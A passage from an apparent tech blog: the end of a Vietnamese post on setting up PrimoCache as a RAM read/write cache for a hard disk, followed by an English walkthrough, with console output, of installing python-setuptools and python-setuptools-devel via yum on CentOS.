2. PrimoCache : kém hơn SuperCache 1 chút nhưng giá mềm hơn nhiều, chỉ 29$ ( 650k VND ) nhưng không có crack. Bạn được xài thử full tới 90 ngày rồi mua
PrimoCache thì cấu hình như dưới đây:
Tóm tắt: dùng 1024 MB Ram làm bộ đệm, áp dụng đệm cho Đọc lẫn Ghi, bật chế độ đệm Ghi tức là ghi lên RAM sau đó 10 giây mới đẩy xuống ổ cứng ( đây là phép màu đó, vì ghi lên RAM nên nhanh hơn ổ cứng 1000 lần, sau đó từ RAM mới từ từ ghi xuống ổ cứng )

Chúc bạn vui vẻ với cái ổ cứng HDD nhanh gần bằng SSD
Nguồn: xnohat blog
Read More

Chủ Nhật, 3 tháng 5, 2015

Install python easy_install via yum on Linux CentOS Server

To install easy_install on Linux using yum you will need to install the python-setuptools and python-setuptools-devel packages. Installing these packages with yum is easy by following the directions below.

Both of these packages were installed using the Atomic repository.

Yum Command To Install python-setuptools:
yum install python-setuptools

An example of a python-setuptools install is below.

Example Of python-setuptools Being Installed:
[root@server ~]# yum install python-setuptools
Loading "fastestmirror" plugin
Loading mirror speeds from cached hostfile
* base: pubmirrors.reflected.net
* updates: mirrors.serveraxis.net
* addons: mirror.anl.gov
* ruby: repo.premiumhelp.eu
* extras: mirror.sanctuaryhost.com
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
--> Running transaction check
---> Package python-setuptools.noarch 0:0.6c5-2.el5 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

=============================================================================
Package Arch Version Repository Size
=============================================================================
Installing:
python-setuptools noarch 0.6c9-2.el5 base 479 k

Transaction Summary
=============================================================================
Install 1 Package(s)
Update 0 Package(s)
Remove 0 Package(s)

Total download size: 479 k
Is this ok [y/N]: y
Downloading Packages:
(1/1): python-setuptools- 100% |=========================| 479 kB 00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing: python-setuptools ######################### [1/1]

Installed: python-setuptools.noarch 0:0.6c5-2.el5
Complete!

You will also need to install python-setuptools-devel as displayed below.

Yum Command To Install python-setuptools-devel:
yum install python-setuptools-devel

An example of python-setuptools-devel being displayed is below.

Example Of python-setuptools-devel Being Installed:
[root@server ~]# yum install python-setuptools-devel
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* atomic: www.atomicorp.com
* rpmforge: ftp-stud.fht-esslingen.de
* base: mira.sunsite.utk.edu
* updates: dist1.800hosting.com
* addons: www.cyberuse.com
* extras: pubmirrors.reflected.net
Setting up Install Process
Parsing package install arguments
Resolving Dependencies
--> Running transaction check
---> Package python-setuptools-devel.noarch 0:0.6c9-2.el5.art set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

====================================================================================================================================
Package Arch Version Repository Size
====================================================================================================================================
Installing:
python-setuptools-devel noarch 0.6c9-2.el5.art atomic 41 k

Transaction Summary
====================================================================================================================================
Install 1 Package(s)
Update 0 Package(s)
Remove 0 Package(s)

Total download size: 41 k
Is this ok [y/N]: y
Downloading Packages:
python-setuptools-devel-0.6c9-2.el5.art.noarch.rpm | 41 kB 00:00
Running rpm_check_debug
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
Installing : python-setuptools-devel [1/1]

Installed: python-setuptools-devel.noarch 0:0.6c9-2.el5.art
Complete!
Read More